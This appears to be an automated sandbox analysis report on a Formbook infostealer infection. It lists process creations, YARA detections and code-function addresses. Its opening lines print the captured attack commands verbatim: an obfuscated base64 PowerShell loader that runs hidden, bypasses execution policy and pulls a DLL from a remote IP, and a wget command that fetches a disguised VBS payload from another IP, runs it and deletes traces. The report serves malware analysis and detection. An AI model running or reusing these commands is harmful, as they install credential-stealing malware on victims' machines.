Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden wget 'http://2.56.57.22/daveCrpted.jpg' -o C:\Windows\Temp\Done.vbs;explorer.exe C:\Windows\Temp\Done.vbs;Start-Sleep 1;rm *.vbs,*.wsf Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'WwBCAHkAdABlAFsAXQBdACAAJABEAEwATAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAG???ANgA0AFMAdAByAGkAbgBnACgAKABOAG???AdwAtAE8AYgBqAG???AYwB0ACAATgBlAHQALgBXAG???AYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADIAMAAuADEAMAA2AC4AMgAzADIALgA0AC8AZABsAGwALwAyADYALQAwAD???ALQAyADAAMgAyAC0A???wB0AGEAcgB0AF???AcAAuAHAAZABmACcAKQApADsAWwBTAHkAcwB0AG???AbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABEAEwATAApAC4ARwBlAHQAVAB5AHAAZQAoACcAZABkAHMAYwBmAEkAdgBxAGcAVwAuAEgAbwBOAFkAbABEAFIATwBMAFAAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFIAdQBuACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH???AbABsACwAIABbAG8AYgBqAG???AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AawBqAGkAaAB1AGcAZgBkAHMAdAAvADIAMgAuADcANQAuADYANQAuADIALwAvADoAcAB0AHQAaAAnACkAKQA=';$OWjuxD = [System.Text.Encoding]::Unicode.GetString( [System.Convert]::FromBase64String( $iUqm.replace('???','U') ) );powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD Jump to behavior
Yara signature match
Source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.powershell.exe.181ccfb0000.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 12.2.powershell.exe.181b4def050.0.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 12.2.powershell.exe.181b586e7e0.2.raw.unpack, type: UNPACKEDPE Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, hash1 = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, author = Florian Roth, description = Detects an base64 encoded executable with reversed characters, reference = Internal Research, score = file
Source: 12.2.powershell.exe.181b586e7e0.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.441209131.00000181B57D7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, hash1 = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, author = Florian Roth, description = Detects an base64 encoded executable with reversed characters, reference = Internal Research, score = file
Source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000000C.00000002.451218272.00000181CCFB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY Matched rule: MALWARE_Win_DLAgent09 author = ditekSHen, description = Detects known downloader agent
Source: 0000000C.00000002.449357348.00000181C4CE6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, hash1 = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, author = Florian Roth, description = Detects an base64 encoded executable with reversed characters, reference = Internal Research, score = file
Source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000012.00000000.477642007.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: Process Memory Space: powershell.exe PID: 6096, type: MEMORYSTR Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: powershell.exe PID: 2328, type: MEMORYSTR Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Source: Process Memory Space: powershell.exe PID: 2328, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR Matched rule: SUSP_Reversed_Base64_Encoded_EXE date = 2020-04-06, hash1 = 7e6d9a5d3b26fd1af7d58be68f524c4c55285b78304a65ec43073b139c9407a8, author = Florian Roth, description = Detects an base64 encoded executable with reversed characters, reference = Internal Research, score = file
Source: Process Memory Space: powershell.exe PID: 6996, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5076, type: MEMORYSTR Matched rule: PowerShell_Susp_Parameter_Combo date = 2017-03-12, author = Florian Roth, description = Detects PowerShell invocation with suspicious parameters, reference = https://goo.gl/uAic1X, score = file, modified = 2021-09-28
Detected potential crypto function
Source: C:\Windows\explorer.exe Code function: 6_2_027288FB 6_2_027288FB
Source: C:\Windows\explorer.exe Code function: 6_2_0272B2FF 6_2_0272B2FF
Source: C:\Windows\explorer.exe Code function: 6_2_02729362 6_2_02729362
Source: C:\Windows\explorer.exe Code function: 6_2_02729359 6_2_02729359
Source: C:\Windows\explorer.exe Code function: 6_2_02728902 6_2_02728902
Source: C:\Windows\explorer.exe Code function: 6_2_0272FD02 6_2_0272FD02
Source: C:\Windows\explorer.exe Code function: 6_2_0272B302 6_2_0272B302
Source: C:\Windows\explorer.exe Code function: 6_2_0272EF06 6_2_0272EF06
Source: C:\Windows\explorer.exe Code function: 6_2_0272D7B2 6_2_0272D7B2
Source: C:\Windows\explorer.exe Code function: 6_2_043EE2FF 6_2_043EE2FF
Source: C:\Windows\explorer.exe Code function: 6_2_043EB8FB 6_2_043EB8FB
Source: C:\Windows\explorer.exe Code function: 6_2_043F1F06 6_2_043F1F06
Source: C:\Windows\explorer.exe Code function: 6_2_043EB902 6_2_043EB902
Source: C:\Windows\explorer.exe Code function: 6_2_043EE302 6_2_043EE302
Source: C:\Windows\explorer.exe Code function: 6_2_043F2D02 6_2_043F2D02
Source: C:\Windows\explorer.exe Code function: 6_2_043EC362 6_2_043EC362
Source: C:\Windows\explorer.exe Code function: 6_2_043EC359 6_2_043EC359
Source: C:\Windows\explorer.exe Code function: 6_2_043F07B2 6_2_043F07B2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00401030 15_2_00401030
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0040909B 15_2_0040909B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_004090A0 15_2_004090A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00401209 15_2_00401209
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00402D88 15_2_00402D88
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00402D90 15_2_00402D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041D7DD 15_2_0041D7DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0041CFAA 15_2_0041CFAA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_00402FB0 15_2_00402FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E22AE 15_2_029E22AE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029CFA2B 15_2_029CFA2B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0294EBB0 15_2_0294EBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D03DA 15_2_029D03DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DDBD2 15_2_029DDBD2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E2B28 15_2_029E2B28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0293AB40 15_2_0293AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292B090 15_2_0292B090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029420A0 15_2_029420A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E20A8 15_2_029E20A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E28EC 15_2_029E28EC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029D1002 15_2_029D1002
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029EE824 15_2_029EE824
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0291F900 15_2_0291F900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02934120 15_2_02934120
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E2EF7 15_2_029E2EF7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DD616 15_2_029DD616
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02936E30 15_2_02936E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029EDFCE 15_2_029EDFCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E1FF1 15_2_029E1FF1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292841F 15_2_0292841F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029DD466 15_2_029DD466
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02942581 15_2_02942581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E25DD 15_2_029E25DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_0292D5E0 15_2_0292D5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E2D07 15_2_029E2D07
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_02910D20 15_2_02910D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: 15_2_029E1D55 15_2_029E1D55
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406841F 27_2_0406841F
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411D466 27_2_0411D466
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04122D07 27_2_04122D07
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04050D20 27_2_04050D20
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04121D55 27_2_04121D55
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04082581 27_2_04082581
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041225DD 27_2_041225DD
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406D5E0 27_2_0406D5E0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0411D616 27_2_0411D616
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04076E30 27_2_04076E30
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04122EF7 27_2_04122EF7
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412DFCE 27_2_0412DFCE
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04121FF1 27_2_04121FF1
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_04111002 27_2_04111002
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0412E824 27_2_0412E824
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0407A830 27_2_0407A830
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_0406B090 27_2_0406B090
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_040820A0 27_2_040820A0
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041220A8 27_2_041220A8
Source: C:\Windows\SysWOW64\WWAHost.exe Code function: 27_2_041228EC 27_2_041228EC
